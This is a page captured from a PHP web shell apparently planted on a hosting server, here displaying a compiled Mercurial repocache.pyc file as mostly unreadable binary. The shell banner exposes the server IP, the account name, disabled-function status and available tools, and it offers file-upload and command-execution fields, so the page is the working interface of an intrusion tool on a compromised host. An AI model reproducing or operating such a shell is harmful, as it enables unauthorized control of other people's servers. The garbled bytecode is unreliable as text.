403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/repocache.cpython-313.pyc
�

6�h+��d�SSKJr SSKrSSKrSSKrSSKJrJrJrJ	r	J
r
 "SS5rSrSr
g)	�)�annotationsN�)�error�hg�obsolete�scmutil�utilc�B�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�
repoloader�z�Load repositories in background thread

This is designed for a forking server. A cached repo cannot be obtained
until the server fork()s a worker and the loader thread stops.
c���UR5Ul[R"US9Ul[
R"US9UlSUl[R"5UlSUlg)N)�max)�maxlenF)
�copy�_uir	�lrucachedict�_cache�collections�deque�_inqueue�
_accepting�	threading�Event�	_newentry�_thread)�self�uirs   �5/usr/lib/python3/dist-packages/mercurial/repocache.py�__init__�repoloader.__init__sQ���7�7�9����'�'�F�3���$�)�)��8��
����"���*������c���UR(aeURRS:XagSUl[R
"URS9UlURR5 g)NrT)�target)rrrrr�Thread�	_mainloop�start�rs rr&�repoloader.start(sQ���<�<����=�=���1�$����� �'�'�t�~�~�>��������r!c��UR(dgSUlURR5 URR	5 SUlUR
R
5 URR
5 g)NF)rrr�set�joinr�clearrr's r�stop�repoloader.stop1sZ���|�|���������������������������
�
���r!c�n�URRU5 URR5 g)z6Request to load the specified repository in backgroundN)r�appendrr*�r�paths  r�load�repoloader.load;s$���
�
���T�"������r!c���UR(a5URR5(a[R"S5eURRUS5$)z�Return a cached repo if available

This function must be called after fork(), where the loader thread
is stopped. Otherwise, the returned repo might be updated by the
loader thread.
s0cannot obtain cached repo while loader is activeN)r�is_aliver�ProgrammingErrorr�peekr1s  r�get�repoloader.get@sL���<�<�D�L�L�1�1�3�3��(�(�C��
��{�{����d�+�+r!c��^^�TR(a�[R"5 TRR	5 TR(anTRR5 TRR5m[R"TRUU4Sj5 TR(aMnTR(aM�gg![a M"f=f)Nc�&>�TRT5$�N)�_load)r2rs��r�<lambda>�&repoloader._mainloop.<locals>.<lambda>]s���D�J�J�t�4Dr!)r�gc�collectr�waitr,r�popleft�
IndexErrorr�	callcatchrr1s`@rr%�repoloader._mainloopMs�����o�o�
�J�J�L��N�N���!��/�/����$�$�&���=�=�0�0�2�D��!�!�$�(�(�,D�E�
�/�/�/��o�o�o��"����s�/C�
C%�$C%c��[R"5nURRU5n[U5 URRSSU[R"5U-
5 URRX5 g![a2 [
R"URU5R5nN�f=f)Ns	repocaches&loaded repo into cache: %s (in %.3fs)
)
r	�timerr�pop�KeyErrorr�
repositoryr�
unfiltered�_warmupcacher�log�insert)rr2r&�repos    rr>�repoloader._load_s����
�
���	>��;�;�?�?�4�(�D�	�T��������6���J�J�L�5� �		
�	
�����4�&���	>��=�=����4�0�;�;�=�D�	>�s�B
�
9C	�C	)rrrrrrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr&r-r3r9r%r>�__static_attributes__�r!rrrs+�������
,�F�$'r!rc��UR5 UR URR URR URR
 URR [RHn[R"X5 M URRXRR55 gr=)
�
invalidateall�	changelog�obsstore�_all�
successors�predecessors�childrenr�
cachefuncs�getrevs�_phasecache�phase�tiprev)rQ�names  rrNrNrs��������N�N��M�M����M�M����M�M����M�M����#�#������$�$�	�����4���!6�!6�!8�9r!c�n�URnURnSU;a@US=US'nUR=URlURRlSU;a%US=US'nURURlSU;a&US=US'nURURlgg)z/Copy cached attributes from srcrepo to destrepos	changelogsobsstores_phasecacheN)�
_filecache�svfs�obj�opener�_inner)�srcrepo�destrepo�
destfilecache�srcfilecache�ces     r�	copycachers�s����'�'�M��%�%�L��|�#�+7��+E�E�
�l�#�b�/7�}�}�<����
����
�
�,��l�"�*6�{�*C�C�
�k�"�R��m�m�������%�-9�.�-I�I�
�n�%�� �
�
����
�&r!)�
__future__rrrAr�rrrrr	rrNrsrYr!r�<module>rvs4��#��	����W'�W'�v
:�&r!

Youez - 2016 - github.com/yon3zu
LinuXploit